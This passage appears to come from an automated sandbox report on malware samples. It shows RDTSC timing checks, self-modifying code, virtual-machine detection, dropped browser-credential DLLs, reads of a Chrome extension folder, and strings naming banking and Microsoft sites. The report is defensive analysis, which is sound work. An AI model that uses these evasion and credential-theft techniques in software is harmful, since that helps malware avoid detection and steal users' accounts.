Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	RDTSC instruction interceptor: First address: 11D183D second address: 11D1869 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDF0E482C5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jno 00007FDDF0E482BCh 0x00000016 rdtsc
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	RDTSC instruction interceptor: First address: 11D195C second address: 11D1964 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	RDTSC instruction interceptor: First address: 11D19E7 second address: 11D19ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	RDTSC instruction interceptor: First address: 11D19ED second address: 11D19F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	RDTSC instruction interceptor: First address: 11D19F1 second address: 11D1A9F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 mov si, 93DFh 0x0000000d and ecx, dword ptr [ebp+122D1EEBh] 0x00000013 push 00000000h 0x00000015 jmp 00007FDDF0E482C2h 0x0000001a mov edx, dword ptr [ebp+122D3D40h] 0x00000020 push 5A9FCF52h 0x00000025 jmp 00007FDDF0E482C2h 0x0000002a xor dword ptr [esp], 5A9FCFD2h 0x00000031 stc 0x00000032 push 00000003h 0x00000034 mov ecx, 30946093h 0x00000039 push 00000000h 0x0000003b mov edx, eax 0x0000003d push 00000003h 0x0000003f jo 00007FDDF0E482BCh 0x00000045 mov esi, dword ptr [ebp+122D3AD0h] 0x0000004b push C77F4D87h 0x00000050 jmp 00007FDDF0E482BBh 0x00000055 xor dword ptr [esp], 077F4D87h 0x0000005c mov esi, dword ptr [ebp+122D2480h] 0x00000062 lea ebx, dword ptr [ebp+12456757h] 0x00000068 push 00000000h 0x0000006a push ebp 0x0000006b call 00007FDDF0E482B8h 0x00000070 pop ebp 0x00000071 mov dword ptr [esp+04h], ebp 0x00000075 add dword ptr [esp+04h], 00000016h 0x0000007d inc ebp 0x0000007e push ebp 0x0000007f ret 0x00000080 pop ebp 0x00000081 ret 0x00000082 movzx esi, dx 0x00000085 push eax 0x00000086 pushad 0x00000087 pushad 0x00000088 push eax 0x00000089 push edx 0x0000008a rdtsc
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	RDTSC instruction interceptor: First address: 11D1A9F second address: 11D1AA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	RDTSC instruction interceptor: First address: 11D1AA5 second address: 11D1AAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	RDTSC instruction interceptor: First address: 11D1AAE second address: 11D1AB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	RDTSC instruction interceptor: First address: 11D1AB2 second address: 11D1AB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	RDTSC instruction interceptor: First address: 11D1B30 second address: 11D1B4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 mov dx, si 0x0000000c push 00000000h 0x0000000e mov cx, 609Bh 0x00000012 push 47772C2Eh 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b push ecx 0x0000001c pop ecx 0x0000001d rdtsc
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	RDTSC instruction interceptor: First address: 11D1B4D second address: 11D1B57 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FDDF0E482B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	RDTSC instruction interceptor: First address: 11D1B57 second address: 11D1B65 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDDF0723BDAh 0x00000009 rdtsc
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	RDTSC instruction interceptor: First address: 11D1B65 second address: 11D1B97 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor dword ptr [esp], 47772CAEh 0x0000000f mov ecx, ebx 0x00000011 push 00000003h 0x00000013 mov dh, C7h 0x00000015 push 00000000h 0x00000017 cld 0x00000018 push 00000003h 0x0000001a sub dword ptr [ebp+122D24C0h], edi 0x00000020 call 00007FDDF0E482B9h 0x00000025 push ecx 0x00000026 push eax 0x00000027 push edx 0x00000028 jno 00007FDDF0E482B6h 0x0000002e rdtsc
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	RDTSC instruction interceptor: First address: 11D1B97 second address: 11D1BB9 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 jno 00007FDDF0723BE0h 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	RDTSC instruction interceptor: First address: 11D1BB9 second address: 11D1BBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	RDTSC instruction interceptor: First address: 11D1BBD second address: 11D1BC1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	RDTSC instruction interceptor: First address: 11D1BC1 second address: 11D1BC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	RDTSC instruction interceptor: First address: 11D1BC7 second address: 11D1BD1 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FDDF0723BDCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	RDTSC instruction interceptor: First address: 11D1BD1 second address: 11D1BDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [eax] 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	RDTSC instruction interceptor: First address: 11B4D5B second address: 11B4D62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	RDTSC instruction interceptor: First address: 11EF5C9 second address: 11EF5CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	RDTSC instruction interceptor: First address: 11EF5CF second address: 11EF5E9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDF0723BE6h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	RDTSC instruction interceptor: First address: 11EFDEB second address: 11EFDF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	RDTSC instruction interceptor: First address: 11F0111 second address: 11F0115 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	RDTSC instruction interceptor: First address: 11F0439 second address: 11F043D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	RDTSC instruction interceptor: First address: 11F0590 second address: 11F0598 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	RDTSC instruction interceptor: First address: 11F0598 second address: 11F059C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	RDTSC instruction interceptor: First address: 11F0718 second address: 11F071C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	RDTSC instruction interceptor: First address: 11F0DF7 second address: 11F0DFB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	RDTSC instruction interceptor: First address: 11F0DFB second address: 11F0E25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDDF0723BE1h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jng 00007FDDF0723BE7h 0x00000011 jmp 00007FDDF0723BDBh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	RDTSC instruction interceptor: First address: 11F10E7 second address: 11F10F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FDDF0E482B6h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	RDTSC instruction interceptor: First address: 11F10F1 second address: 11F10F7 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	RDTSC instruction interceptor: First address: 11F3060 second address: 11F306A instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FDDF0E482B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	RDTSC instruction interceptor: First address: 11F4A77 second address: 11F4A81 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	RDTSC instruction interceptor: First address: 11B9E4D second address: 11B9E5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 js 00007FDDF0E482B6h 0x0000000d rdtsc
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	RDTSC instruction interceptor: First address: 11F8087 second address: 11F8098 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007FDDF0723BD6h 0x00000009 js 00007FDDF0723BD6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	RDTSC instruction interceptor: First address: 11F9F2F second address: 11F9F35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	RDTSC instruction interceptor: First address: 11BEE78 second address: 11BEE82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pushad 0x00000006 popad 0x00000007 pushad 0x00000008 popad 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	RDTSC instruction interceptor: First address: 1200331 second address: 1200337 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	RDTSC instruction interceptor: First address: 1200337 second address: 120034E instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FDDF0723BD6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jne 00007FDDF0723BD6h 0x00000013 push eax 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	RDTSC instruction interceptor: First address: 120034E second address: 1200365 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a jl 00007FDDF0E482B6h 0x00000010 pushad 0x00000011 popad 0x00000012 pop ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 push ebx 0x00000016 pop ebx 0x00000017 rdtsc
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	RDTSC instruction interceptor: First address: 1200365 second address: 120037C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDF0723BE1h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	RDTSC instruction interceptor: First address: 12006A7 second address: 12006B1 instructions: 0x00000000 rdtsc 0x00000002 js 00007FDDF0E482B6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	RDTSC instruction interceptor: First address: 12006B1 second address: 12006BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007FDDF0723BDEh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	RDTSC instruction interceptor: First address: 12007E1 second address: 1200809 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FDDF0E482C4h 0x0000000c jmp 00007FDDF0E482BDh 0x00000011 rdtsc
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	RDTSC instruction interceptor: First address: 1200809 second address: 1200825 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDF0723BDEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d jno 00007FDDF0723BD6h 0x00000013 rdtsc
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	RDTSC instruction interceptor: First address: 1201403 second address: 1201407 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	RDTSC instruction interceptor: First address: 1201407 second address: 120140D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	RDTSC instruction interceptor: First address: 12018C6 second address: 12018CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	RDTSC instruction interceptor: First address: 12018CA second address: 12018CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	RDTSC instruction interceptor: First address: 1201ECB second address: 1201F04 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FDDF0E482B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov dword ptr [esp], ebx 0x0000000e mov edi, 23D23C0Fh 0x00000013 nop 0x00000014 push esi 0x00000015 jmp 00007FDDF0E482C4h 0x0000001a pop esi 0x0000001b push eax 0x0000001c pushad 0x0000001d pushad 0x0000001e jl 00007FDDF0E482B6h 0x00000024 push edi 0x00000025 pop edi 0x00000026 popad 0x00000027 pushad 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	RDTSC instruction interceptor: First address: 1201FEB second address: 1201FEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	RDTSC instruction interceptor: First address: 1201FEF second address: 1201FF3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: F141DA instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: F3BD12 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: FA1DA0 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	Special instruction interceptor: First address: 104EE5E instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	Special instruction interceptor: First address: 12277CD instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	Special instruction interceptor: First address: 12868C5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 5CEE5E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 7A77CD instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 8068C5 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\DocumentsIDAEBGCAAE.exe

Code function: 21_2_05760D40 rdtsc

21_2_05760D40

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Thread delayed: delay time: 180000

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1005151001\dc7d43171c.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

API coverage: 0.4 %

Source: C:\Users\user\Desktop\file.exe TID: 1020	Thread sleep time: -48024s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5560	Thread sleep time: -56028s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 1088	Thread sleep time: -36000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 528	Thread sleep time: -36018s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3228	Thread sleep time: -50025s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 1520	Thread sleep time: -52026s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8832	Thread sleep count: 70 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8832	Thread sleep time: -2100000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8092	Thread sleep time: -180000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8832	Thread sleep time: -30000s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed

Source: C:\Users\user\DocumentsIDAEBGCAAE.exe

File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C66C930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

0_2_6C66C930

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.2600152772.0000000000EF7000.00000040.00000001.01000000.00000003.sdmp, DocumentsIDAEBGCAAE.exe, 00000015.00000000.2588004986.00000000011D5000.00000080.00000001.01000000.0000000B.sdmp, DocumentsIDAEBGCAAE.exe, 00000015.00000002.2692567358.00000000011D6000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 00000016.00000002.2690991904.0000000000756000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000016.00000000.2625269475.0000000000755000.00000080.00000001.01000000.0000000E.sdmp, skotes.exe, 00000017.00000002.2718130393.0000000000756000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000017.00000000.2662330836.0000000000755000.00000080.00000001.01000000.0000000E.sdmp, skotes.exe, 00000019.00000000.3174183645.0000000000755000.00000080.00000001.01000000.0000000E.sdmp, skotes.exe, 00000019.00000002.3318393808.0000000000756000.00000040.00000001.01000000.0000000E.sdmp, DocumentsIDAEBGCAAE.exe.0.dr, skotes.exe.21.dr, random[1].exe.0.dr	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: BKKJKFBK.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: DocumentsIDAEBGCAAE.exe, 00000015.00000003.2614804926.00000000019DE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: BKKJKFBK.0.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: BKKJKFBK.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: BKKJKFBK.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: BKKJKFBK.0.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: BKKJKFBK.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: file.exe, 00000000.00000002.2601119957.0000000001723000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWt
Source: file.exe, 00000000.00000002.2601119957.00000000016F2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2601119957.0000000001723000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000002.3322413463.00000000010B8000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000002.3322413463.00000000010E8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: BKKJKFBK.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: BKKJKFBK.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: BKKJKFBK.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: BKKJKFBK.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: BKKJKFBK.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: BKKJKFBK.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: BKKJKFBK.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: BKKJKFBK.0.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: BKKJKFBK.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: BKKJKFBK.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: BKKJKFBK.0.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: BKKJKFBK.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: BKKJKFBK.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: BKKJKFBK.0.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: BKKJKFBK.0.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: BKKJKFBK.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: BKKJKFBK.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: BKKJKFBK.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
